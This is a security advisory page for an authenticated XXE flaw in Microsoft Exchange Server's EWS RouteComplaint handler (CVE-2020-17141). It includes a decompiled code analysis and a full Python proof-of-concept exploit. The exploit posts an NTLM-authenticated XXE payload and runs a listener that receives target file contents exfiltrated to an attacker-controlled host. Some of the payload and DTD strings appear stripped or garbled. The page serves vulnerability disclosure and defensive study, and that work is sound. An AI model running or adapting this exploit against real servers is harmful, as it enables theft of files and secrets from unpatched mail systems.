Lucene search

K
srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulcan Team and Chris AnastasioSRC-2020-0031
HistoryApr 23, 2020 - 12:00 a.m.

SRC-2020-0031 : Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability

2020-04-2300:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulcan Team and Chris Anastasio
srcincite.io
11

6 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

8.4 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

0.025 Low

EPSS

Percentile

90.1%

Vulnerability Details:

This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability.

The specific flaw exists within the processing of RouteComplaint SOAP requests to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.

Affected Vendors:

Microsoft

Affected Products:

Exchange Server

Vendor Response:

Microsoft has issued an update to correct this vulnerability. More details can be found at: <https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141&gt;

#!/usr/bin/env python3
"""
Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0031/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141

## Summary

This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.

## Vulnerability Analysis

Inside of the `Microsoft.Exchange.Services.dll` we can see the following class:

```c#
namespace Microsoft.Exchange.Services.Core
{
    internal sealed class RouteComplaint : SingleStepServiceCommand{

        //...

        internal override ServiceResultExecute()
        {
            if (base.CallContext.EffectiveCaller == null)
            {
                throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null.");
            }
            this.abuseReportResults = null;
            IAbuseReportContext abuseReportContext = this.ParseComplaintData();  // 1
            IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false);
            IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, "");
            imailboxSessionBySmtpAddress.WasclContext = wasclContext;
            this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress);
            return new ServiceResult(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success);
        }

        // ...

        private IAbuseReportContext ParseComplaintData()
        {
            if (base.Request.Data == null)
            {
                ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null");
                throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report.");
            }
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data));  // 2
            XmlNode data = xmlDocument.SelectSingleNode("complaintData");
```

At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing.

## Proof of Concept

Change anything within the [] brackets.

```
POST /ews/Exchange.asmx HTTP/1.1
Host: [target]
Content-type: text/xml; charset=utf-8
Authentication: [ntlm auth]
Content-Length: [length][base64 encoded XXE payload]```

## Example

```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"

researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange!
(+) stolen: /leaked?
```
"""

import re
import sys
import urllib3
import requests
import urllib.parse
from threading import Thread
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class xxe(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def _set_response(self, d):
        self.send_response(200)
        self.send_header('Content-type', 'application/xml')
        self.send_header('Content-Length', len(d))
        self.end_headers()
    def do_GET(self):
        if "leaked" in self.path:
            print("(+) stolen: %s" % urllib.parse.unquote(self.path))
            message = " ]]>"
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))
        elif "poc.dtd" in self.path:
            print("(+) triggered xxe in exchange!")
            message = """

'>
%%param1; %%external;""" % (host, int(port))
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))

def main(t, usr, pwd):
    server = HTTPServer(('0.0.0.0', int(port)), xxe)
    handlerthr = Thread(target=server.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    username = usr.split("@")[0]
    domain = usr.split("@")[1]
    h = {"Content-type" : "text/xml; charset=utf-8"}
    xxe_payload = """">

%%dtd;
]>""" % (file, host, int(port))
    d = """%s""" % b64encode(xxe_payload.encode()).decode("utf-8") 
    requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\\%s' % (domain,username), pwd))
    
if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
        sys.exit(-1)
    trgt = sys.argv[1]
    assert ":" in sys.argv[2], "(-) you need a user and password!"
    usr = sys.argv[2].split(":")[0]
    pwd = sys.argv[2].split(":")[1]
    host = sys.argv[3]
    port = 9090
    file = sys.argv[4]
    if ":" in sys.argv[3]: 
        host = sys.argv[3].split(":")[0]
        port = sys.argv[3].split(":")[1]
        assert port.isdigit(), "(-) not a port number!"
    main(trgt, usr, pwd)

6 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

8.4 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

0.025 Low

EPSS

Percentile

90.1%